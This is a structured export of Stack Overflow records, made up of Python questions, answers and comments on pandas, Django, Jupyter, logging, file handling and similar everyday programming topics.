has body: To add to the earlier answer from akash, here is a way that you can make these changes in the event that you have multiple fields that contain ids that you want to change to this same variable. I know this likely wouldn't apply here (given that it is an id), but could be used as a broad example for when you want to set all values to the same value in a similar type of question. For example, if you wanted to set the id number for many fields to be unique, you could set var1 = 1 and then each time the for k in json_data loops, you increase the value of var1 by 1. This is not the example I have below, the example below would be to change all the Fields so they all have the same ID value. Further adjustments can be made if you had multiple attachments as well (could not just use [attachments][0] as it'd only apply to the fields within the first attachment). I just figured this knowledge could be good for someone to have at some point. INPUT JSON { "channel": "AT", "username": "Maintenance", "attachments": [ { "fallback": "[Urgent]:", "pretext": "[Urgent]:", "color": "#D04000", "fields": [ { "title": "SERVERS:", "id": "popeye", "short": false }, { "title": "DUMMYDATA:", "id": "DORRIS", "short": false } ] } ] } CODE var1 = 'abcdefghi' json_file = "Some/file/path" with open(json_file, 'r+') as f: json_data = json.load(f) for k in json_data['attachments'][0]['fields']: k['id'] = var1 f.seek(0) f.write(json.dumps(json_data, indent=2)) f.truncate() OUTPUT { "channel": "AT", "username": "Maintenance", "attachments": [ { "fallback": "[Urgent]:", "pretext": "[Urgent]:", "color": "#D04000", "fields": [ { "title": "SERVERS:", "id": "abcdefghi", "short": false }, { "title": "DUMMYDATA:", "id": "abcdefghi", "short": false } ] } ] } I hope that this is useful to some extent.
score: 0
answers question: http://stackoverflow.com/q/47350084
type: Answer

http://stackoverflow.com/comment/81564737
has text: What version of the Python language is your JYTHON?
score: 0
comment on: http://stackoverflow.com/q/47307130
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47232291
upvote count: 2
has body: I'm trying to save a file in a program while Python runs in the background. I made a while loop for "os" to try and find the Results file, and to keep checking until it exists. Before that (the try, except block), I made a short backup file code (I'm unsure if this is significant to my problem). import os import time path = "D:\\DICOM\\Data\\" try: os.rename(path + "Results.csv", path + "Archive\\Results-Backup1.csv") except FileNotFoundError: print("") except FileExistsError: os.remove(path + "Archive\\Results-Backup1.csv") os.rename(path + "Results.csv", path + "Archive\\Results-Backup1.csv") path= path + "Results.csv" k = str(os.path.isdir(path)) print(k) while k== "False": time.sleep(1) k=str(os.path.isdir(path)) print("k is now TRUE") I'm waiting for k to be True so I can continue with my code, but it's always False since os never recognizes the new path. Can anyone find any problems with my code? Thank you in advanced very much :)
has answer: http://stackoverflow.com/a/47232458
has title: Python os library not recognizing a file
answer count: 1
linked to: http://stackoverflow.com/q/2422798
downvote count: 0
has comment: http://stackoverflow.com/comment/81416113
favorite count: 0
type: Question
tagged with: operating-system
tagged with: python
score: 2
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47232458
has comment: http://stackoverflow.com/comment/81415398

http://stackoverflow.com/a/47358118
answers question: http://stackoverflow.com/q/47357578
score: 3
accepted answer of: http://stackoverflow.com/q/47357578
type: Answer
has body: If you are using a view where the selection behaviour is to select rows, the simplest method would be this: def selected_rows(self, selection): indexes = [] for index in selection.indexes(): if index.column() == 0: indexes.append(index) return indexes A somewhat shorter (but not much faster) alternative to the above would be: from itertools import filterfalse def selected_rows(self, selection): return list(filterfalse(QtCore.QModelIndex.column, selection.indexes())) However, if the selection behaviour is to select items, you would need this: def selected_rows(self, selection): seen = set() indexes = [] model = self.tree.model() for index in selection.indexes(): if index.row() not in seen: indexes.append(model.index(index.row(), 0)) # or if you don't care about the specific column # indexes.append(index) seen.add(index.row()) return indexes
upvote count: 3
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/a/47668023
has body: You can do it with pickle, just train your module and dump it using pickle. pickle.dump(regr, open("models/svrrbf.sav",'wb')) Further you can use that module to test your inputs. Hope it helps
upvote count: 0
score: -3
type: Answer
downvote count: 3
answers question: http://stackoverflow.com/q/47380082

http://stackoverflow.com/q/47370243
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81693119
tagged with: django
tagged with: python
tagged with: request
has comment: http://stackoverflow.com/comment/81693161
has body: I am working in a booking engine project with Django for hotels. I need when a client selects the hotel, arrival date, and departure date (these parameters are passed with get method) a view takes them, and generates global variables to all views, until the client changes for example the dates. In each view I need to have the hotel, the arrival date, and departure date. I know that I can do this to template with context processor, but I don't know which is the better way to do this for views. I was ridding something with middleware, but I don't know. Can somebody help me?
score: 0
has comment: http://stackoverflow.com/comment/81693188
has title: take a get value and make constant variable Django Python
answer count: 1
tagged with: middleware
type: Question
has answer: http://stackoverflow.com/a/47370308

http://stackoverflow.com/comment/81609930
type: Comment
has text: Modified answer to include both solutions, either use the floats as ilja mentions or cast to text.
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47329387

http://stackoverflow.com/q/47255288
upvote count: 5
has body: I have a jupyter notebook that is a mixture of markdown and code. In the end I want to render it out as a pdf report and hide the code. I still want to see the output of the code, the plots and tables, I just don't want to see the code in the final report. I found the post below that has the code below, which if added to the notebook creates a toggle button that can be used to hide or display the input code. The problem with that is I wind up with a toggle button at the top of my report. Does anyone know how to do this? Post: http://chris-said.io/2016/02/13/how-to-make-polished-jupyter-presentations-with-optional-code-visibility/ Code: &lt;script&gt; function code_toggle() { if (code_shown){ $('div.input').hide('500'); $('#toggleButton').val('Show Code') } else { $('div.input').show('500'); $('#toggleButton').val('Hide Code') } code_shown = !code_shown } $( document ).ready(function(){ code_shown=false; $('div.input').hide() }); &lt;/script&gt; &lt;form action="javascript:code_toggle()"&gt;&lt;input type="submit" id="toggleButton" value="Show Code"&gt;&lt;/form&gt;
tagged with: python
answer count: 6
has answer: http://stackoverflow.com/a/69387617
tagged with: jupyter-notebook
score: 5
has answer: http://stackoverflow.com/a/53089169
type: UnansweredQuestion
downvote count: 0
has title: Hide code in Jupyter Notebook presentation
has answer: http://stackoverflow.com/a/72530862
has answer: http://stackoverflow.com/a/60217174
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47261533
has answer: http://stackoverflow.com/a/47263280

http://stackoverflow.com/q/47309918
has answer: http://stackoverflow.com/a/47313708
has title: wrong order in (matplotlib.pyplot) scatter plot axis
has comment: http://stackoverflow.com/comment/93076715
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81572092
has comment: http://stackoverflow.com/comment/81570091
upvote count: 5
score: 5
has comment: http://stackoverflow.com/comment/81575156
linked to: http://stackoverflow.com/q/46382550
has comment: http://stackoverflow.com/comment/97603447
tagged with: python
tagged with: plot
tagged with: scatter-plot
type: AnsweredQuestion
duplicate of: http://stackoverflow.com/q/46382550
has body: I'm following this linear regression example but my result differs from what should be. The problem is in the plot axis, they are not in order. expected: my result: zoom to see the axis: The Code: import pandas as pd from sklearn import linear_model import matplotlib.pyplot as plt #read data dataframe = pd.read_fwf('brain_body.txt') x_values = dataframe'Brain' y_values = dataframe'Body' #train model on data body_reg = linear_model.LinearRegression() body_reg.fit(x_values, y_values) #visualize results plt.scatter(x_values, y_values) plt.plot(x_values, body_reg.predict(x_values)) plt.show() brain_body.txt Brain Body 3.385 44.500 0.480 15.500 1.350 8.100 465.000 423.000 36.330 119.500 27.660 115.000 14.830 98.200 1.040 5.500 4.190 58.000 0.425 6.400 0.101 4.000 0.920 5.700 1.000 6.600 0.005 0.140 0.060 1.000 3.500 10.800 2.000 12.300 1.700 6.300 2547.000 4603.000 0.023 0.300 187.100 419.000 521.000 655.000 0.785 3.500 10.000 115.000 3.300 25.600 0.200 5.000 1.410 17.500 529.000 680.000 207.000 406.000 85.000 325.000 0.750 12.300 62.000 1320.000 6654.000 5712.000 3.500 3.900 6.800 179.000 35.000 56.000 4.050 17.000 0.120 1.000 0.023 0.400 0.010 0.250 1.400 12.500 250.000 490.000 2.500 12.100 55.500 175.000 100.000 157.000 52.160 440.000 10.550 179.500 0.550 2.400 60.000 81.000 3.600 21.000 4.288 39.200 0.280 1.900 0.075 1.200 0.122 3.000 0.048 0.330 192.000 180.000 3.000 25.000 160.000 169.000 0.900 2.600 1.620 11.400 0.104 2.500 4.235 50.400 It is my first time in python and I think there is a problem with the installation of some module but I don't have a clue.
tagged with: matplotlib
accepted answer: http://stackoverflow.com/a/47313708
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/93081887

http://stackoverflow.com/comment/81536477
score: 0
has text: but you're not even parsing the arguments in your python example...
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47292920

pytorch
tags question: http://stackoverflow.com/q/47267293
tags question: http://stackoverflow.com/q/47296329
tags question: http://stackoverflow.com/q/47275395
tags question: http://stackoverflow.com/q/47312396
tags question: http://stackoverflow.com/q/47324354
tags question: http://stackoverflow.com/q/47373421
tags question: http://stackoverflow.com/q/47260715
tags question: http://stackoverflow.com/q/47267433
tags question: http://stackoverflow.com/q/47272971
tags question: http://stackoverflow.com/q/47317141
tags question: http://stackoverflow.com/q/47299549
tags question: http://stackoverflow.com/q/47360506
tags question: http://stackoverflow.com/q/47313656
tags question: http://stackoverflow.com/q/47350058
tags question: http://stackoverflow.com/q/47287858
tag name: pytorch
type: Tag
tags question: http://stackoverflow.com/q/47319704
tags question: http://stackoverflow.com/q/47290053
tags question: http://stackoverflow.com/q/47275847

http://stackoverflow.com/a/47256683
answers question: http://stackoverflow.com/q/47256548
has comment: http://stackoverflow.com/comment/81464336
type: AcceptedAnswer
type: Answer
has comment: http://stackoverflow.com/comment/81464445
has body: class EmployeeFormEdit(forms.ModelForm): password = forms.CharField(widget=forms.PasswordInput()) class Meta: model = User fields = ("password",) def save(self, commit=True): user = super(EmployeeFormEdit, self).save(commit=False) user.set_password(self.cleaned_data["password"]) if commit: user.save() return user you must use user.set_password() to set your password.
score: 0
accepted answer of: http://stackoverflow.com/q/47256548
has comment: http://stackoverflow.com/comment/81464770

http://stackoverflow.com/comment/81476546
type: Comment
has text: can I add more keys ?
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47261827

http://stackoverflow.com/comment/81506176
type: QuestionComment
type: Comment
score: 0
has text: @RedCricket That's a really creaky, old way of doing things. Django and Pylons/Pyramid use fCGI model.
comment on: http://stackoverflow.com/q/47277568

http://stackoverflow.com/comment/81609076
comment on: http://stackoverflow.com/a/47326251
score: 0
has text: your code is not working for me ` quantity = {k.split("-")[-1]: a[k] for k in request.params.items() if "quantity" in k} product = {k.split("-")[-1]: a[k] for k in request.params.items() if "product" in k} result = [[k, v, product[k]] for k, v in quantity.items()]`
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/81632617
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47328692
has text: **Worked! Thanks a ton!**
type: AnswerComment

http://stackoverflow.com/a/47337968
has body: sheetstats[action] = general_form Is basically putting the same dictionary in every key slot, you can think of this as each key pointing back to general_form What you can do is make a copy of general_form: for action in action_types: sheetstats[action] = dict(general_form) The proper way to copy data structure is to use the module copy and it's deepcopy function which will copy deep structures (such as classes): import copy for action in action_types: sheetstats[action] = copy.deepcopy(general_form)
type: Answer
upvote count: 2
score: 2
answers question: http://stackoverflow.com/q/47337749
downvote count: 0

http://stackoverflow.com/a/47311671
score: 2
upvote count: 2
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47294272
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/108646218
type: Answer
has comment: http://stackoverflow.com/comment/108691831
answers question: http://stackoverflow.com/q/47294272
has body: I think you should draw the arrows as dependency arrows going the other way. It helps to think about it this way since the execution path is determined by the requires methods. In your scenario, it is very simple because you just have a TaskA that has a conditional dependency. You just need to add one more task at the start that depends on two TaskBs and an indicator of whether the taskb is to be run on the sample Pseudocode: ParentTask def requires(): return [TaskB(sample_type=True), TaskB(sample_type=False)] TaskB def requires(): return TaskA(sample_type) TaskA def requires(): if sample_type: return SampleTask() else: return CleanTask() SampleTask def requires(): return CleanTask() CleanTask def requires() return CollectData()

http://stackoverflow.com/comment/81647369
score: 1
type: Comment
has text: You forgot a `return` in the `else`/`if` branch.
type: QuestionComment
comment on: http://stackoverflow.com/q/47347682

http://stackoverflow.com/a/47360493
has comment: http://stackoverflow.com/comment/81674548
type: Answer
has body: you can use getmembers() import tarfile tar = tarfile.open("test.tar") tar.getmembers() After that, you can use extractfile() to extract the members as file object. Just an example import tarfile,os import sys os.chdir("/tmp/foo") tar = tarfile.open("test.tar") for member in tar.getmembers(): f=tar.extractfile(member) content=f.read() // do operations with your content sys.exit() tar.close()
score: 0
upvote count: 1
answers question: http://stackoverflow.com/q/47360357
downvote count: 1

import
tags question: http://stackoverflow.com/q/47242998
tags question: http://stackoverflow.com/q/47247787
type: Tag
tags question: http://stackoverflow.com/q/47341503
tags question: http://stackoverflow.com/q/47263990
tag name: import
tags question: http://stackoverflow.com/q/47381733
tags question: http://stackoverflow.com/q/47318741
tags question: http://stackoverflow.com/q/47303482
tags question: http://stackoverflow.com/q/47367949
tags question: http://stackoverflow.com/q/47302648
tags question: http://stackoverflow.com/q/47256532
tags question: http://stackoverflow.com/q/47372712
tags question: http://stackoverflow.com/q/47268514
tags question: http://stackoverflow.com/q/47367195

http://stackoverflow.com/a/47288973
type: Answer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47288914
upvote count: 1
score: 1
type: AcceptedAnswer
has body: Use split for lists first and then numpy.repeat with numpy.concatenate and last DataFrame constructor: s = dat['y'].str.split() a = np.repeat(dat['x'].values, s.str.len()) b = np.concatenate(s.values) df = pd.DataFrame({'x':a,'y':b}) print (df) x y 0 1 Lorem 1 1 ipsum 2 1 dolor 3 1 sit 4 1 amet 5 2 consectetur 6 2 adipiscing 7 2 elit
answers question: http://stackoverflow.com/q/47288914

http://stackoverflow.com/q/47280268
score: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81515175
type: Question
has title: Building Pandas Dataframe of unevaluated dask expressions
tagged with: dask
has comment: http://stackoverflow.com/comment/81551768
tagged with: pandas
tagged with: python
has comment: http://stackoverflow.com/comment/81570073
has comment: http://stackoverflow.com/comment/81531140
has comment: http://stackoverflow.com/comment/81511795
answer count: 0
has body: I have a running script which opens many CSV file (containing series thus each only one column of data) does some calculations and extracts features. Those features get saved in two existing Pandas Dataframes. pdDF1.loc[pandas.to_datetime(somestring[-22:-7]),somestring[-7:-4]] = feat1 pdDF2.loc[pandas.to_datetime(somestring[-22:-7]),somestring[-7:-4]] = feat2 For parralelization I want to have the feature calculation step done in dask (what is already fine running). The result in dask is a tuple of two features of the following type (dask.array&lt;sqrt, shape=(), dtype=float64, chunksize=()&gt;, dask.array&lt;mean_agg-aggregate, shape=(), dtype=float64, chunksize=()&gt;) I want to insert the first tuple element into one column of a Pandas Dataframe and the other tuple's element in another column of another Dataframe (like code sample above). But always when inserting into the Pandas Dataframe the dask results got calculated. What I want to do is: First grow the complete Pandas Dataframe and then evaluate all dask entries with one compute call. How can that be done? Thanks in advance.

http://stackoverflow.com/comment/81620597
has text: Also, your `redirect` line is incorrectly mixing a hardcoded URL and kwargs. You can either construct the URL with `return redirect('/books/list/%s/' % instance.id)`, or the recommended approach is to let Django reverse the URL with `return redirect('list_view', kwargs={id:instance.id})`.
score: 2
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47334486

http://stackoverflow.com/q/47316635
type: Question
has answer: http://stackoverflow.com/a/47317023
has comment: http://stackoverflow.com/comment/81584363
possible better answer: http://stackoverflow.com/a/47316673
tagged with: python
has body: Starting with the data of this form: col_1 col_2 0 a1 a6 1 a3 a7 2 a4 a2 3 a5 a8 Where values are letters with numbers at the end. And I would like to convert values to 0 or 1 depending on the parity or oddness of the number at the end string, to data frame: col_1 col_2 0 1 0 1 1 1 2 0 0 3 1 0 How I can approach this?
answer count: 4
accepted answer: http://stackoverflow.com/a/47317023
type: AnsweredQuestion
score: 0
tagged with: pandas
upvote count: 1
has answer: http://stackoverflow.com/a/47316922
has comment: http://stackoverflow.com/comment/81586436
downvote count: 1
has title: How to convert strings with even or odd numbers to 0 or 1?
has answer: http://stackoverflow.com/a/47316764
has answer: http://stackoverflow.com/a/47316673
has comment: http://stackoverflow.com/comment/81584190
favorite count: 0

http://stackoverflow.com/q/47319674
has answer: http://stackoverflow.com/a/47320303
has comment: http://stackoverflow.com/comment/81590791
has answer: http://stackoverflow.com/a/47320569
tagged with: python
has comment: http://stackoverflow.com/comment/81624140
has comment: http://stackoverflow.com/comment/81590612
linked to: http://stackoverflow.com/q/6219141
score: 2
type: AnsweredQuestion
answer count: 3
has body: I may be approaching this all wrong but still this is where I'm at. I have very large log files I'm trying to search, up to 30gb in some cases. I'm writing a script to pull info and have been playing with multi process to speed it up a bit. right now I'm testing running two functions at the same time to search from the top and bottom to get results, which seems to work. I'm wondering if it's possible to stop one function one a result from the other. Such as if the top function finds a result they both stop. This way I can build it out as needed. from file_read_backwards import FileReadBackwards from multiprocessing import Process import sys z = "log.log" #!/usr/bin/env python rocket = 0 def top(): target = "test" with open(z) as src: found= None for line in src: if len(line) == 0: break #happens at end of file, then stop loop if target in line: found= line break print(found) def bottom(): target = "text" with FileReadBackwards(z) as src: found= None for line in src: if len(line) == 0: break #happens at end of file, then stop loop if target in line: found= line break print(found) if __name__=='__main__': p1 = Process(target = top) p1.start() p2 = Process(target = bottom) p2.start()
upvote count: 2
possible better answer: http://stackoverflow.com/a/47320569
has comment: http://stackoverflow.com/comment/81590792
downvote count: 0
has comment: http://stackoverflow.com/comment/81591052
has answer: http://stackoverflow.com/a/47320920
has comment: http://stackoverflow.com/comment/81590911
has comment: http://stackoverflow.com/comment/81590634
has title: Python end function after another function returns result
has comment: http://stackoverflow.com/comment/81623920
has comment: http://stackoverflow.com/comment/81592359
favorite count: 0
has comment: http://stackoverflow.com/comment/81590593
type: Question
has comment: http://stackoverflow.com/comment/81592399
has comment: http://stackoverflow.com/comment/81590609
accepted answer: http://stackoverflow.com/a/47320303
has comment: http://stackoverflow.com/comment/81590698
has comment: http://stackoverflow.com/comment/81590768

http://stackoverflow.com/comment/81698080
comment on: http://stackoverflow.com/a/47372701
has text: Doesn't change a thing, sory.
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/q/47234122
has title: python seaborn FutureWarning - does not show plot
has answer: http://stackoverflow.com/a/47234275
has comment: http://stackoverflow.com/comment/81418815
has comment: http://stackoverflow.com/comment/81418982
accepted answer: http://stackoverflow.com/a/47235630
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47235630
downvote count: 0
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/81418944
favorite count: 0
has comment: http://stackoverflow.com/comment/81418847
type: Question
has comment: http://stackoverflow.com/comment/81418991
has comment: http://stackoverflow.com/comment/81418799
has comment: http://stackoverflow.com/comment/81418822
tagged with: seaborn
has body: I'm running python 3.6.1 on Anaconda. Whenever I try plotting with seaborn, I get the following warning. C:\Anaconda3\lib\site-packages\seaborn\categorical.py:1428: FutureWarning: remove_na is deprecated and is a private function. Do not use. stat_data = remove_na(group_data) even if I try with the barplot example posted on the page below, https://seaborn.pydata.org/generated/seaborn.barplot.html I still get the same result. Thanks in advance. I simplified the code. But the result is the same as well [this is the same code from https://seaborn.pydata.org/generated/seaborn.barplot.html ] import seaborn as sns sns.set_style("whitegrid") tips = sns.load_dataset("tips") sns.barplot(x="day", y="total_bill", data=tips)
answer count: 2
possible better answer: http://stackoverflow.com/a/47234275
has comment: http://stackoverflow.com/comment/81418812
has comment: http://stackoverflow.com/comment/81419001
tagged with: python

http://stackoverflow.com/q/47250472
tagged with: http://stackoverflow.com/tag/xml
score: 0
answer count: 0
has title: Merge multiple XML files into one CSV file (C++ or Python, Scikit-Learn)
upvote count: 1
has comment: http://stackoverflow.com/comment/81495196
tagged with: scikit-learn
downvote count: 1
has comment: http://stackoverflow.com/comment/81485510
favorite count: 0
type: Question
tagged with: opencv
has body: I have a folder with a lot of XML files, each of them containing a histogram of a different image (done with OpenCV on Visual Studio). They share the same structure: <?xml version="1.0"?> <opencv_storage> <my_histogram type_id="opencv-matrix"> 256 1 f 1685. 641. 7. 7. 4. 0. 3. 2. 1. 4. 0. 1. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 3. 5. 0. 0. 3. 1. 0. 0. 323. 590. 1. 5. 1. 1. 0. 1. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 7. 3. 0. 0. 616. 264. 1. 4. 1. 0. 0. 0. 2. 1. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 1. 1. 0. 0. 3. 2. 0. 0. 2. 5. 0. 2. 565. 2228. 5. 10. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 3. 2. 316. 642. 1. 0. 4. 4. 2. 1. 0. 1. 0. 0. 0. 1. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 1. 1. 0. 2. 1. 1. 0. 0. 0. 3. 228. 1136. 0. 1. 1. 7. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 1. 2. 6. 2. 0. 628. 2129. 1. 1. 2. 1. 4. 4. 3. 11. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 1. 0. 0. 2. 0. 0. 1. 11. 1. 0. 2. 7. 2. 13. 1358. 3860. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. </my_histogram> </opencv_storage> Inexperienced here, what I would like to do, is to take all these XML files (all these histograms) and merge them into one CSV file, that I want to use on Python (with Scikit-Learn). What is a good way to do that? I've found some XML to CSV converters and all that, none of them did what I wanted and most posts are about XML to Excel. Is there a specific way to do this? Thank you for your time.
has comment: http://stackoverflow.com/comment/81934208
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81499012
tagged with: http://stackoverflow.com/tag/csv
tagged with: python
has comment: http://stackoverflow.com/comment/81495539

http://stackoverflow.com/q/47275601
accepted answer: http://stackoverflow.com/a/47295214
type: AnsweredQuestion
score: 0
tagged with: cookies
answer count: 1
downvote count: 1
favorite count: 0
tagged with: python
has answer: http://stackoverflow.com/a/47295214
type: Question
has body: In URL can additional parameters for example like utm_campaign In view I get this parameters: utm_campaign = request.GET.get('utm_campaign',None) But when i wanna set this information in cookie I get Internal Server Error without traceback or another information I was trying several solution: response.set_cookie('utm_campaign',utm_campaign ) response.set_cookie('utm_campaign',utm_campaign .encode('utf-8')) response.set_cookie('utm_campaign',utm_campaign .encode()) response.set_cookie('utm_campaign',request.GET.get('utm_campaign ')) What is the problem? The problem is that if I write English text or numbers - everything works. If I try write cyrillic text - there is an error without details. Python3 CentOs7 (default "utf-8") Django 1.11 (default "utf-8")
has title: Internal server error when set cookie in Django
tagged with: setcookie
upvote count: 1
tagged with: django

http://stackoverflow.com/q/47325506
has body: Using the python logging package, and writing a class Log, I'd like to tee stdout and stderr to a log file : log = Log("log.txt") print "line1" print "line2" print &gt;&gt;sys.stderr, "err1" del log print "line to screen only" The output log file would contain : 16/11/2017 09:51:58 INFO - line1 16/11/2017 09:51:58 INFO - line2 16/11/2017 09:51:58 INFO - err1 Any idea how to write this Log class, keeping the advantages of the "logging" package (time-stamps, ...) ?
has comment: http://stackoverflow.com/comment/81602058
tagged with: python-logging
linked to: http://stackoverflow.com/q/616645
linked to: http://stackoverflow.com/q/14058453
score: 4
answer count: 2
has comment: http://stackoverflow.com/comment/81601857
linked to: http://stackoverflow.com/q/1956142
linked to: http://stackoverflow.com/q/15535240
has answer: http://stackoverflow.com/a/47325975
downvote count: 1
has title: Making Python loggers log all stdout and stderr messages
favorite count: 0
tagged with: logging
has comment: http://stackoverflow.com/comment/81602510
has comment: http://stackoverflow.com/comment/81602724
tagged with: tee
type: Question
has comment: http://stackoverflow.com/comment/81602254
upvote count: 5
tagged with: stdout
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/53552279

http://stackoverflow.com/comment/139744340
comment on: http://stackoverflow.com/a/54059392
score: 0
type: Comment
type: AnswerComment
has text: The 2nd method worked for me by adding a code block in the notebook and using Shaurya's code to upload the file I want to the colab environment. I am using an image. In order to load the image, I run `from PIL import Image \ Image.open('image.jpg')`

http://stackoverflow.com/comment/81506930
type: AnswerComment
comment on: http://stackoverflow.com/a/47277790
score: 0
has text: In output I want : '^1\.0(\.\\d+)?$' . I tried with - str.replace('\\\\','\\') . Not working
type: Comment

http://stackoverflow.com/q/47351717
answer count: 2
has body: I want only digits existing between two characters in order to get an integer dollar value, e.g. from string: "Advance [Extra Value of $1,730,555] in packages 2,3, and 5." we want to obtain "1730555". We can use \$(.*)\] to get "1,730,555", but how do we remove the commas in the same expression, while retaining the possibility of arbitrary many commas, ideally getting the number in a single capturing group?
possible better answer: http://stackoverflow.com/a/47351800
has comment: http://stackoverflow.com/comment/81655598
downvote count: 0
has answer: http://stackoverflow.com/a/47351800
has comment: http://stackoverflow.com/comment/81655432
upvote count: 1
has title: Regex Python extract digits between two strings in a single expression
tagged with: string
favorite count: 0
type: Question
tagged with: digits
accepted answer: http://stackoverflow.com/a/47351964
has answer: http://stackoverflow.com/a/47351964
score: 1
tagged with: python
tagged with: regex
has comment: http://stackoverflow.com/comment/81655468
type: AnsweredQuestion

http://stackoverflow.com/q/47368994
score: 0
has comment: http://stackoverflow.com/comment/81690455
answer count: 1
has body: I am creating an app which fetches data from an API every time a view is loaded. As I am expecting a big user base, I fear exceeding the rate limit. I thought about scheduling the API calls every hour and storing them in an object. Which would be a convenient way of designing this, or do you have a better idea in mind of approaching this problem? Thanks in Advance
has title: Django - Update information accessible from a view every hour
has answer: http://stackoverflow.com/a/47369175
type: Question
tagged with: api
has comment: http://stackoverflow.com/comment/81690653
tagged with: django
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/81690569
tagged with: rest

http://stackoverflow.com/q/47234104
answer count: 2
has answer: http://stackoverflow.com/a/47235679
duplicate of: http://stackoverflow.com/q/2932511
type: Question
tagged with: python-3.x
has body: so I'm creating a word and letter count program, and I have the word counting down pat. The word count is supposed to allow the user to input as many lines as they wish and then hit enter once they are done and then the program will tell how many words from that list. I am now trying to build the letter count onto the program. Am I running into problems because they aren't in functions? I try to keep it simple and not use functions because I get confused by them. In my code, it tells me there are 0 letters. Here is my code so far: print("Enter as many lines of text as you want.") print("When you're done, enter a single period on a line by itself.") content = [] while True: line = input() if line == ".": break words = line.split() content.append(words) words_list = [item for sublist in content for item in sublist] print("The number of words entered: " + str(len(words_list))) letter = sum(c.isalpha() for c in line) print("The number of letters used: " + str(letter) + "")
type: UnansweredQuestion
has title: Creating a letter count from user input
tagged with: python
tagged with: counting
linked to: http://stackoverflow.com/q/2932511
tagged with: user-input
has answer: http://stackoverflow.com/a/47234255
score: 0

http://stackoverflow.com/q/47259973
score: 3
downvote count: 0
tagged with: pandas
answer count: 1
has answer: http://stackoverflow.com/a/47259991
favorite count: 0
type: Question
has title: Python Pandas - Take first value from column and put into a variable
has body: I have a DataFrame (df) that I get from an input (uses SQL to get data): | Grant | Summary | |:-----------|------------:| | J0014/1 | foobar | It will only ever be one row. How do I get the value from the Summary column into a variable to use later i.e. I dont want the column header, I want a situation where this happens: aVar = foobar Apologies if this is a simple question, but for some reason my brain isnt working this morning. Thank you
tagged with: python
accepted answer: http://stackoverflow.com/a/47259991
type: AnsweredQuestion
upvote count: 3

http://stackoverflow.com/a/47283925
type: Answer
has body: According to the documentation, The parameter used for the the regularization is the parameter C in the input of the call. I represents the inverse of regularization strength. The default value is equal to 1. C : float, default: 1.0 Inverse of regularization strength; must be a positive float. Like in support vector machines, smaller values specify stronger regularization.
score: 4
upvote count: 4
answers question: http://stackoverflow.com/q/47283684
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47283684

http://stackoverflow.com/comment/81592942
type: Comment
score: 0
has text: This may be more adapted than python for what you intend to do: https://www.youtube.com/watch?v=6vX8wT1G798&list=PLRqwX-V7Uu6aFlwukCmDf0-1-uSR7mklK
type: QuestionComment
comment on: http://stackoverflow.com/q/47320836

http://stackoverflow.com/comment/81429109
score: 0
type: Comment
has text: So what is the tensorflow method for? I imagined that "patch extraction" is exactly what the sklearn method does and I'd use it but I need striding...
type: AnswerComment
comment on: http://stackoverflow.com/a/47236436

http://stackoverflow.com/q/47297197
tagged with: pandas-groupby
accepted answer: http://stackoverflow.com/a/47297300
tagged with: pandas
has answer: http://stackoverflow.com/a/47297300
answer count: 1
downvote count: 0
score: 1
favorite count: 0
type: Question
has title: Split dataFrames based on column header prefix
upvote count: 1
tagged with: dataframe
tagged with: python
tagged with: dictionary
type: AnsweredQuestion
has body: I have a data frame where the column names share a common element, other columns have been generated with a suffix to this common element. I have a list of these elements that is around ~100 entries. I'd like to iteratively slice the large df using this list, transform the sub-df's by grouping and eventually concatenate them back together. I was thinking of using a dictionary approach-- using the list as keys, and then defining the columns sharing this element as values. I am not sure how to implement this. I have copied a simplified version to illustrate what I'd like to scale up. In reality there'd be around 100 keys each with 20 associated columns. A A_1 A_2 A_3 B B_1 B_2 B_3 0 1 e f g 1 x y z 1 2 e f g 2 x y z 2 3 e f g 3 x y z 3 3 e f g 3 x y z 4 3 e f g 4 x y z 5 3 e f g 4 x y z df_list = ['A','B'] df_A = df[df.columns[df.columns.to_series().str.contains('A')]] df_B = df[df.columns[df.columns.to_series().str.contains('B')]] calc_A = df_A.groupby(['A']).head(1) print(calc_A) A A_1 A_2 A_3 0 1 e f g 1 2 e f g 2 3 e f g calc_B = df_B.groupby(['B']).head(1) print(calc_B) B B_1 B_2 B_3 0 1 x y z 1 2 x y z 2 3 x y z 4 4 x y z Please advise how to structure this dictionary, iterating through the list to slice the df and assign columns sharing the key as values for the new sub-df. Thank you.

http://stackoverflow.com/a/47362865
type: Answer
score: 0
accepted answer of: http://stackoverflow.com/q/47338873
